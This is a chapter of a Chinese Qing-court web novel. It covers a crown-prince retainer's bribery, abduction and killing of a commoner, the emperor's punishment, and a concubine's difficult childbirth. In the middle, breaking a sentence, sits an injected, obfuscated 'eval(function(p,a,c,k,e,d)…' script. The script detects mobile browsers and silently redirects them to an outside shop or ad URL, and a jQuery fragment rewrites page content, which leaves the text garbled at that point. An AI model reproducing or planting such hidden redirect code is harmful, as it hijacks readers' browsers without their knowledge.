29. 太子
作品:《四爷侧福晋(清)》 江南膏腴地,官商云集,多欲借圣驾南巡攀附龙鳞,储君太子胤礽也是巴结重点。
自御驾渡江,杭州知府和一众地方官员就常来请安,言辞谦卑姿态恭谨,私下备上无数奇珍,还有巨贾托人递上的银票田契,皆以“孝敬东宫用度”为名,层层递进送进太子行辕。
太子自小被立为储君,深受父皇偏爱,又久居东宫享惯了尊崇,只当这些是臣子本分,半推半就地收下了,还曾把玩其中一匹彩玉骏马,和心腹笑谈:“江南富庶,果然名不虚传,些许心意,也能入眼。”
太子身边管庶务的主事李山,本是东宫六品小吏,仗着随侍太子南巡,一时成了官商巴结的香饽饽,知府见了他要礼让三分,富商更是一口一个“李大人”地捧着,日日设宴相请,金银玉器流水般送上门。
李山被甜言蜜语和真金白银砸得忘乎所以,言语间倨傲愈发明显,竟真以“东宫近臣”自居,对官商的邀约来者不拒。
这些皆被随驾的大阿哥看在眼里。大阿哥年长太子两岁,久对储位心怀觊觎,暗恨太子恃宠而骄,早想寻机挫其锋芒,一直派人暗中盯着太子等人的一举一动,这次发现机会自然不会放过。
大阿哥遣心腹找到最殷勤的盐商万贯达,密授机宜。
万贯达在众阿哥间压的是大阿哥这边的宝,一直想搭上大阿哥的大船,这次遇上千载难逢的好机会,自然立即应下,并保证会办好。
万贯达暗中联系了一直捧着李山的一位富商,托他牵桥搭线,次日便以“观赏秦淮河夜景”为由,邀李山赴宴,席上皆是江南名妓侑酒,珍馐佳酿流水席,直喝到月上中天。
李山本就贪杯,又被众人轮番劝酒,早已酩酊大醉,神志昏沉间只觉众人奉承悦耳,心气愈发抬高了。
行至秦淮河边乌衣巷口,撞见一对夫妻夜归,那妇人年方二十,荆钗布裙却难掩清丽,李山醉眼迷离,竟借着酒疯上前拉扯,口出秽言要将人带回。
丈夫拼死护妻,李山上头后失了理智,竟夺过随从手中的马鞭,狠狠抽打那丈夫,口中还叫嚣“你是什么东西,还敢拦我”,直打得那人口吐鲜血,倒在地上人事不省,才扯着悲痛欲绝的民妇扬长而去。
次日天明,李山宿醉方醒,头痛欲裂间忆起昨夜之事,顿时惊出一身冷汗,慌忙让人拿银票去安抚那户人家,又暗中借太子名义去府衙命人压下此事:“太子密令,务必封口,若敢声张,拆了你们衙门。”
可那丈夫伤重难治,不过三日便一命呜呼,其妻肝肠寸断,悲愤交加,其婆家和娘家也难忍此痛。
虽李山等人过来威逼利诱,但万贯达派人过来暗中指点,教他们备下状纸,先是告到府衙,府衙畏太子权势,推诿不受理,还把他们关起来,说他们诬告。
好在万贯中早有预料,让两家留了几人躲在外面,又帮忙买通御驾侍卫,让苦主堵在御驾行辕外面喊冤,成功捅到皇帝面前。
彼时皇帝接了状纸,见周围百姓围着议论纷纷,颇觉颜面有损,又听闻李山是太子近侍,且背后牵扯太子受贿、属官骄纵之事,顿时龙颜大怒。
“朕躬南巡,是为察吏安民,东宫竟纵属为恶,受贿枉法,置国法纲纪于何地!传旨,御前侍卫即刻拿下李山严查,务必要把该事查得水落石出,给百姓们一个交代,再传太子立即过来。”
太子闻召心惊,李山居然瞒着他这么要命之事。
李山一直到被抓时,见事情败露,才告诉太子这件事以求情,太子气得一脚将人踹飞,但还得忍着怒火去见皇上。
入内果然见皇帝面色铁青,案上摆着状纸与查抄出的部分赃物,太子越看脸越白。
皇帝厉斥:“胤礽!你身为储君,当以身作则,整肃属官,竟贪墨收受馈礼,纵人鱼肉百姓!李山草菅人命,是因你管教不严、骄纵失德所致!你这般行事,何以为君表率!”
太子立即伏地请罪,连称“儿臣失察”。
不多时,会审结果呈上,李山强抢民妇、致人死亡属实,皇帝下旨斩立决,行贿官员皆革职查办,又命人将查抄的赃款赃物尽数充公,还严令东宫自查,整肃上下。
太子一派大受打击,大阿哥一派则暗中撕咬,想趁机扯下更多“肉”。
四爷也愈发忙碌,舒若菡打听到这些事,也不好和四爷聊这些,只日常更加关心四爷的饮食起居等小事。
五月二十二日,康熙帝返回京城,南巡结束,舒若菡和四爷也随之回到京城。
夏日的京城微燥,护城河畔的绿柳垂绦已浓荫蔽日,城郊官道上尘土飞扬,康熙帝南巡銮驾返京的仪仗浩浩荡荡,随行王公亲贵的队伍紧随其后,待銮驾入了城,各府队伍分流,四爷的车队往贝勒府而去,不多时便抵了府门。
府门前早已收拾得齐整,福晋早早得了消息,天刚亮便命人洒扫庭院、备妥清茶,此刻正一身正红织金缎朝褂,端立于府门旁,身后按品阶立着府中众人,下人们亦皆垂首侍立一旁恭候。
听得马蹄声与车轮碾地声渐近,众人齐齐敛容,待四爷身姿挺拔地骑马到来,福晋便领着众人屈膝行礼:“恭迎王爷回府。”
舒若菡则扶着琉璃的手下马车,躬身向福晋行礼。
四爷伸手扶起福晋,声线带着几分旅途的沙哑但依旧沉稳:“都起来吧,不必多礼。”
四爷领着众人进去,后面的车队也缓缓进府,四爷和福晋道:“那两辆车上是南巡沿途寻的好物,有江南的绸缎、苏杭的点心、还有些玩意儿,是给你们带的,劳福晋费心安排分下去。”
福晋含笑应道:“多谢爷挂怀,爷放心,妾身定好好安排。”
一旁管事太监早已领着下人上前,众人搬卸物件,一时间府门前人声有序,安静许久的前院因男主人回来,多了不少热闹。
四爷瞧见人群中宋格格扶着丫鬟的手,小腹已然高高隆起,行动间明显迟缓,当下眉头微蹙,但语气添了几分体恤:“宋氏,你身子重,不必来此候着的,身子要紧。”
宋格格忙屈膝福了福,声音温婉谦卑:“奴婢身子还好,爷远归,奴婢理当迎候。”
四
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269856|197210||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爷知道她的性子,闻言不再多劝,只吩咐:“快坐下吧。”又对众人道:“都坐下说话吧。”
众人依言落座,四爷目光又落回宋格格身上,“我记得该是还有一月左右,你便要临盆了吧?”
宋格格点头:“是的,多谢四爷记挂,太医算的日子就在六月下旬。”
四爷细问:“近来请太医诊脉了吗?太医怎么说,胎儿康健否?”“稳婆可寻到合适的了?”“产房设好了吗?”“可有什么短缺的?”
宋氏眉眼间带着喜意,温声细语地一一回答,表示一切都好,还说福晋也派人特意关照过了,没什么缺的,四爷放心。
四爷微微点头,转头看向福晋,面露赞许:“宋氏的事你安排得很周到,我离府三月有余,府中大小事宜繁杂,着实有劳你了。”
福晋敛衽一笑,道:“打理府中家事本就是妾身本分,让府中平顺,能让爷在外无忧,便是妾身期盼的。”
四爷满意地拍了拍福晋的手,府里一时满是和睦安稳的模样。
不过李氏不甘示弱,示意大儿子拉着小儿子去抱住四爷,关心四爷的身体,好奇南巡遇见的事情。四爷对孩子总是温和的,和他们聊起天,到家宴开始的时候才停下。
*
很快到了六月底,宋氏生产的日子。
那时四爷还在外当差,不过宋氏和福晋等人都是有经验的,很快就安排宋氏进产房,热水、铜盆、剪刀、干净的布等,一一安排好,等舒若菡听到消息过来的时候,就见宋格格的院子虽然有些人多嘈杂,但还算有条不紊。
福晋和其他格格基本都来了,就李氏姗姗来迟,李氏住的院子就在宋氏的左近,来迟明显是不合理,所以她一来就解释:“真是不好意思,我来迟了,主要是三阿哥还小,听到这边动静大,有些受惊,我安抚了好一会才好。”
福晋这会也懒得和她计较,敷衍点头让她坐下,转身就安排嬷嬷去门口看看太医到了没,里屋宋氏的呼痛声一阵一阵的,听得人心慌。
尤其是对没生过孩子的人来说。琉璃微微侧身,借着宽袖子的遮挡握住了舒若菡的手,舒若菡微愣,抬头对上她关切的目光,微微一笑,心里安定了不少。
宋氏这次的生产不是很顺利,明明是第二胎,按理来说应该会快一些的,但是一直到晚上四爷下衙回来了,宋氏还没生下孩子。
都四五个时辰了,四爷的脸色不太好,其他人也都面露忧色。
突然,产房里传来嬷嬷的一声惊呼:“格格!”然后就听到有脚步声匆匆传来,一个身上带着浓重血腥味的嬷嬷脸色惨白地出来禀报:“四爷,福晋,宋格格力竭晕过去了,孩子还没出来。”
四爷猛地站起来:“太医!太医快去看看!”
福晋和其他格格也立即站起来,福晋吩咐:“快切片人参给宋格格含着!”
舒若菡闻着空气里的血腥味,听着产房里哀唤着格格,宋氏却没有应声,瞬间起了鸡皮疙瘩,觉得这比刚才惨痛的喊叫声还渗人,她握着琉璃的手忍不住发抖。

